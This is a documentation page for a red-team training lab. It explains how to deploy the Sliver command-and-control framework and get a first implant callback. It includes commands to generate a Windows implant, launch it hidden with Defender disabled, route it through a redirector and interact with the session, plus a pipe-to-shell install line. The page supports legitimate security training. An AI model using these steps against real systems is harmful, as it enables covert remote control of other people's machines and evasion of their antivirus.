11. Sliver

📡 Sliver

Home > Sliver

CLI-driven, multi-platform C2 framework from BishopFox. Designed as a modern alternative to Cobalt Strike. The default redStack configuration ships with the redstack C2 profile pre-generated and an admin operator config ready to import.

On this page: Considerations · Configuration · Initial Beacon · Troubleshooting · See Also.

At a glance
Hostname	sliver (private VPC only)
Console	sliver-client after SSH-ing into the Sliver host (Guacamole > Sliver (SSH))
Operator config	/home/admin/.sliver-client/configs/admin.cfg (auto-installed at boot)
URI prefix	/cloud/storage/objects/ (stripped before forward to Sliver)
Multiplexer port	31337 (gRPC, internal only)
Default implant	Cross-compiled Windows .exe over HTTP
Time to first beacon	~2 minutes once the lab is verified
Full docs	Sliver wiki

Note

Sliver runs as a daemon that exposes a gRPC multiplexer on port 31337. Operators connect via sliver-client, which speaks gRPC and authenticates with a per-operator .cfg file. Multiple operators can attach to the same daemon simultaneously and see each other's sessions, tasking, and listener output.

---

Considerations

When Sliver is the right pick

• CLI-first workflow: If you prefer a terminal over a browser GUI, Sliver feels natural. Tab-completion, command history, scriptable. Useful for muscle memory that transfers to and from real engagements.
• Cross-platform implants: Sliver cross-compiles to Windows / Linux / macOS from a single command. The --os and --arch flags do the work; no separate builders.
• Multi-transport: HTTP/S is what redStack wires up to the redirector, but Sliver also supports DNS, mTLS, and WireGuard out of the box. Useful when you want to compare beacon characteristics across transports.
• One operator, one box, fast: No Docker stack, no UI server, no DB to manage. Just a daemon and a client. Boots fast, restarts fast.
• Cobalt-Strike-like idiom: If you've used Cobalt or are migrating away from it, Sliver's sessions, use, tasks, interact mental model is familiar.

When to skip Sliver

• Multi-operator coordination at scale: Sliver supports multiplayer, but Mythic's UI for assigning callbacks to operators, reviewing tasking, and sharing files between operators is more refined. For a 5+ operator engagement, Mythic wins.
• Visual demos / training: A web UI with a callback table is more legible on a screen than a CLI. For workshops, lean Mythic or Havoc.
• Modern evasion testing: Sliver implants are well-known to AV vendors. The default Windows implant lights up Defender immediately. For evasion practice, Havoc demons are stronger out of the box.

Sizing tradeoffs

Default t3.medium (2 vCPU, 4 GB RAM, 25 GB disk):

• Sliver's daemon is lightweight at idle. The memory pressure comes from implant generation.
• Implant generate runs the Go cross-compiler in-process. The compiler can consume 2+ GB of RAM during compilation. On a t3.small, this exhausts physical memory. The kernel then limits what new processes can be forked, including sshd, causing SSH connections to hang at the banner exchange until the system is rebooted. The default is t3.medium to avoid this entirely.
• The lab also ships a 2 GB swapfile on the Sliver host as a safety net, but on t3.medium the compiler operates entirely in physical RAM and swap is not touched during normal generation.
• Downgrading to t3.small is possible for cost savings if Sliver is only used occasionally alongside Mythic or Havoc, but expect slower generation and occasional SSH disruptions during heavy compile loads.

Disk: 25 GB. Generated implants land in /tmp by default. Periodic cleanup keeps disk healthy across long sessions.

What ships pre-installed

Component	Where
Sliver server binary	/usr/local/bin/sliver-server (symlink to /root/sliver-server)
Sliver client	Bundled with server install; available on PATH as sliver-client
systemd unit	sliver.service (auto-start enabled at boot)
Operator config	/home/admin/.sliver-client/configs/admin.cfg (loaded on first sliver-client invocation)
Pre-built C2 profile	/home/admin/redstack-c2-profile.json (import once, used by generate --c2profile redstack)

The redstack C2 profile pre-bakes the X-Request-ID header value so generated implants pass the redirector's header check without manual configuration.

Operations model

Sliver state lives on disk in /root/.sliver/:

• /root/.sliver/configs/server.crt, server.key: TLS for the gRPC multiplexer.
• /root/.sliver/database/: BoltDB store with sessions, listeners, jobs, operators, generated implants metadata.
• /root/.sliver/configs/operators/: Operator certs (mTLS to gRPC).

A terraform destroy && apply cycle wipes all of this. A systemctl restart sliver preserves it. The [Service] UMask=0022 override in /etc/systemd/system/sliver.service.d/ ensures generated implants are world-readable so the admin user can scp them off the server without sudo.

---

Configuration

What runs where

sliver (Debian 12) [t3.medium, EBS gp3 25 GB]
├── /root/sliver-server                   The daemon binary
├── /usr/local/bin/sliver-server          Symlink for PATH
├── /etc/systemd/system/sliver.service    systemd unit
├── /etc/systemd/system/sliver.service.d/
│   └── umask.conf                        UMask=0022 override (world-readable implants)
├── /root/.sliver/                        Server state (DB, certs, jobs)
│   ├── database/                         BoltDB
│   ├── configs/                          server cert, operator certs
│   └── slivers/                          Generated implant binaries
├── /root/admin.cfg                       Pre-generated operator config (master copy)
├── /home/admin/.sliver-client/configs/
│   └── admin.cfg                         Operator config installed for the admin user
└── /home/admin/redstack-c2-profile.json  Pre-built C2 profile with redirector header baked in

Tip

SSL terminates at the redirector — Sliver receives plain HTTP on port 80 internally. From the implant's perspective, callbacks are encrypted because the URL uses https://yourdomain/.... If you see "profile with name 'redstack' already exists" on connect, that's expected; the profile persists across client reconnects.

---

Initial Beacon

The walkthrough to confirm Sliver is wired correctly. Assumes Verify is complete and the Redirector cert step is done (Direct Access).

[!WARNING] Defender is disabled on the lab Windows workstation by default so unobfuscated implants can run. If you re-enabled it for evasion testing, it will quarantine the implant immediately. Either disable Defender (Set-MpPreference -DisableRealtimeMonitoring $true) or generate the implant with --evasion and additional obfuscation.

Step 1: Access the Sliver Host

The preferred method is MobaXterm from the Windows workstation. Open MobaXterm, expand the redStack Lab session folder, and click Sliver (SSH). The saved session connects directly to the Sliver host over the internal VPC.

Guacamole works too and is fine for a quick command, but MobaXterm gives you a better terminal experience for sustained work: proper scrollback, easy file transfer via the built-in SFTP panel, and session persistence.

Sliver has no public IP. Both methods route through the internal VPC.

Step 2: Connect to Sliver and Start the Listener

sliver-client

The pre-installed admin.cfg config is loaded automatically. You should land at the sliver > prompt within a couple of seconds.

On first session per deployment, import the redstack C2 profile (only needed once; Sliver persists it in the database):

sliver > c2profiles import --file /home/admin/redstack-c2-profile.json --name redstack

Start the HTTP listener:

sliver > http --lhost 0.0.0.0 --lport 80

You'll see [*] Starting HTTP listener then [*] Successfully started job #N. Confirm it's registered with:

sliver > jobs

This lists all active background jobs including listeners. Useful to verify the listener survived a client reconnect.

_{[Figure 11.3.1: Sliver console after starting the HTTP listener, with jobs confirming the listener is registered as an active job]}

✅ Checkpoint: Sliver HTTP listener active on port 80.

Step 3: Generate the Implant

sliver > generate --http https://<your-redirector-domain>/cloud/storage/objects/ --os windows --arch amd64 --format exe --c2profile redstack --save /tmp/sliverTest.exe

Replace <your-redirector-domain> with the value of redirector_domain from your tfvars. For Tunneled Access, use the redirector public IP instead: https://<REDIR_PUBLIC_IP>/cloud/storage/objects/.

The /cloud/storage/objects/ URI prefix is critical: it's what the redirector matches before stripping and forwarding to Sliver on port 80. Wrong prefix = decoy page.

Wait ~60-90 seconds for cross-compilation. You'll see [*] Generating new windows/amd64 implant binary then [*] Implant saved to /tmp/sliverTest.exe.

Note: Sliver implants take longer to generate than most C2 frameworks and come out larger (typically 10-15 MB). Both are a result of how Go works: the compiler builds a fully self-contained binary with the Go runtime, all dependencies, and the implant code statically linked in. There are no external DLL dependencies and no runtime install required on the target — everything the implant needs is baked in. The cross-compilation step (building a Windows binary from a Linux host) adds to the compile time. Subsequent builds of the same implant type are faster because the toolchain is already cached.

_{[Figure 11.3.2: Sliver console after generate completes, showing the cross-compilation output and saved implant path]}

✅ Checkpoint: /tmp/sliverTest.exe exists on the Sliver host.

Step 4: Transfer to Windows and Execute

MobaXterm makes this easy without needing SCP. Open a second SSH session to the Sliver host in MobaXterm, then cd to /tmp. Alternatively, use SCP directly from a PowerShell prompt on the Windows workstation:

scp admin@sliver:/tmp/sliverTest.exe C:\Users\Administrator\Downloads\sliverTest.exe

Enter the lab password when prompted. For the MobaXterm method, cd to /tmp:

cd /tmp

MobaXterm's built-in SFTP panel (left sidebar) follows the terminal's current directory automatically. You'll see sliverTest.exe appear in the panel. Right-click it and select Download to save it to C:\Users\Administrator\Downloads\.

_{[Figure 11.3.3: MobaXterm SFTP panel following the terminal to /tmp and downloading sliverTest.exe to the Windows workstation]}

Once downloaded, launch it silently from PowerShell on the Windows workstation:

Start-Process -FilePath "C:\Users\Administrator\Downloads\sliverTest.exe" -WindowStyle Hidden

The implant connects out, hits the redirector, the redirector forwards to Sliver, and Sliver registers a new session.

_{[Figure 11.3.4: Sliver console showing the incoming session notification and sessions output confirming the Windows implant is registered]}

✅ Checkpoint: First Sliver session registered.

Step 5: Confirm the Full Path

sliver > sessions

You should see your new session listed. Interact with it:

sliver > use [SESSION_ID]
sliver (SESSION) > whoami
sliver (SESSION) > ps

whoami confirms the user context. ps runs Sliver's built-in process enumeration and returns a full process table with PID, name, and owner — no shell required.

_{[Figure 11.3.5: Sliver interactive session with whoami confirming windows\administrator and ps returning the process table]}

✅ Checkpoint: Lab is fully operational for Sliver. Move to Mythic or Havoc for the other C2 walkthroughs, or Kali for AD enum / attack tooling.

---

Troubleshooting

sliver-client hangs on connect

Means the daemon isn't accepting gRPC connections. Check:

sudo systemctl status sliver
sudo ss -tlnp | grep 31337

If port 31337 isn't listening: sudo systemctl restart sliver and wait ~10 seconds for the daemon to come up. Then retry the client.

sliver-server: command not found

The Sliver install completed but the symlink wasn't created. Verify:

ls -la /root/sliver-server
ls -la /usr/local/bin/sliver-server

If the binary exists at /root/sliver-server but the symlink is missing:

sudo ln -sf /root/sliver-server /usr/local/bin/sliver-server

If /root/sliver-server itself is missing, the install failed. Re-run:

curl https://sliver.sh/install | sudo bash

c2profiles import fails with "no such file"

The profile is generated by cloud-init at /home/admin/redstack-c2-profile.json. If cloud-init was interrupted, it may not exist. Check:

ls -la /home/admin/redstack-c2-profile.json

If missing, generate it manually. The profile is JSON; copy from the latest sliver_setup.sh in the repo's terraform/setup_scripts/ and adjust the header value to match terraform output deployment_info.

Implant compiles but never calls back

In order:

1. Listener is running: sliver > jobs should list the HTTP listener on port 80.
2. Network path is clear: From the Sliver host: curl -k -H "X-Request-ID: <token>" -A "Mozilla/5.0..." https://yourdomain.tld/cloud/storage/objects/test. Should reach the Sliver listener (404 from Sliver = good). 200 with decoy HTML = redirector header check failed.
3. Implant URL matches: --http flag must include the full /cloud/storage/objects/ prefix and use https:// (the redirector terminates SSL).
4. C2 profile baked the right header: Compare the X-Request-ID value in redstack-c2-profile.json against terraform output deployment_info. If they don't match, re-generate the profile.
5. Defender on Windows: Check Event Viewer for Defender quarantine. Implant never executes if quarantined.

See Troubleshooting > Agent Won't Callback for the full checklist applying to all C2s.

"Operator config has no permissions" on connect

The admin.cfg was generated with --permissions all. If you're seeing permission errors, the config may have been overwritten by a manual sliver-server operator --name admin run without --permissions. Regenerate:

sudo sliver-server operator --name admin --lhost localhost --save /root/admin.cfg --permissions all
sudo cp /root/admin.cfg /home/admin/.sliver-client/configs/admin.cfg
sudo chown admin:admin /home/admin/.sliver-client/configs/admin.cfg
sudo chmod 600 /home/admin/.sliver-client/configs/admin.cfg

Generated implant is owned by root, can't scp

This is the umask issue the redStack systemd override exists to fix. If implants are 600 root:root instead of 644 root:root:

ls -la /etc/systemd/system/sliver.service.d/umask.conf

If the file doesn't exist, recreate it:

sudo mkdir -p /etc/systemd/system/sliver.service.d/
sudo tee /etc/systemd/system/sliver.service.d/umask.conf > /dev/null << 'EOF'
[Service]
UMask=0022
EOF
sudo systemctl daemon-reload
sudo systemctl restart sliver

Future-generated implants will be world-readable. Existing ones: sudo chmod 644 /tmp/*.exe.

SSH hangs at banner exchange / can't connect to Sliver host

Symptom: ssh admin@sliver (or Guacamole > Sliver SSH, or MobaXterm) stalls immediately after TCP connects and never shows a login prompt. The connection eventually times out with Connection timed out during banner exchange.

Cause: Sliver implant generation (generate) runs the Go cross-compiler in-process. On a t3.small (2 GB RAM), this exhausts physical memory. When memory is gone, the OS cannot fork new processes (including the child sshd that handles your connection), so the banner is never sent. The Sliver daemon and sshd service are both still running; the system can't spawn any more processes until memory pressure drops.

Immediate fix: Reboot the instance. Once memory is reclaimed, sshd forks normally.

aws ec2 reboot-instances --region us-east-1 --instance-ids <SLIVER_INSTANCE_ID>
# SSH will be back within ~60 seconds

Permanent fix: The default instance type is now t3.medium (4 GB RAM), which prevents memory exhaustion entirely. If you previously deployed with t3.small, upgrade via AWS CLI without a full destroy:

aws ec2 stop-instances --instance-ids <SLIVER_INSTANCE_ID>
aws ec2 wait instance-stopped --instance-ids <SLIVER_INSTANCE_ID>
aws ec2 modify-instance-attribute --instance-id <SLIVER_INSTANCE_ID> --instance-type '{"Value":"t3.medium"}'
aws ec2 start-instances --instance-ids <SLIVER_INSTANCE_ID>

Also update sliver_instance_type = "t3.medium" in terraform.tfvars so future deploys use the correct size.

Sliver service won't start after a reboot

sudo systemctl status sliver
sudo journalctl -u sliver -n 50

Most common: a corrupted BoltDB. Rare, but happens if a hard kill occurs mid-write:

sudo systemctl stop sliver
sudo mv /root/.sliver/database /root/.sliver/database.bad
sudo systemctl start sliver
# All sessions/listeners/operators are gone but the daemon comes up clean

For prod-like state preservation, see Cost Management > Stop Between Sessions.

Multiplexer port 31337 reachable from outside the VPC

It shouldn't be. The Sliver SG only allows port 31337 from the Windows SG and Guacamole SG (so operators inside the lab can attach sliver-client). If you see it accessible from elsewhere, audit the SG rules:

aws ec2 describe-security-groups --filters "Name=tag:Hostname,Values=sliver" --query 'SecurityGroups[*].IpPermissions'

---

See Also

• Mythic, Havoc for the other C2 walkthroughs in this lab
• Redirector for the security model that gates traffic before it reaches Sliver
• Lab Architecture for how Sliver sits in the topology
• Windows for the operator workstation that executes the generated implant
• Troubleshooting for broader lab issues

← Previous: Mythic | Next: Havoc →

---

“If it works, it's not stupid.”

_{Pentest community adage}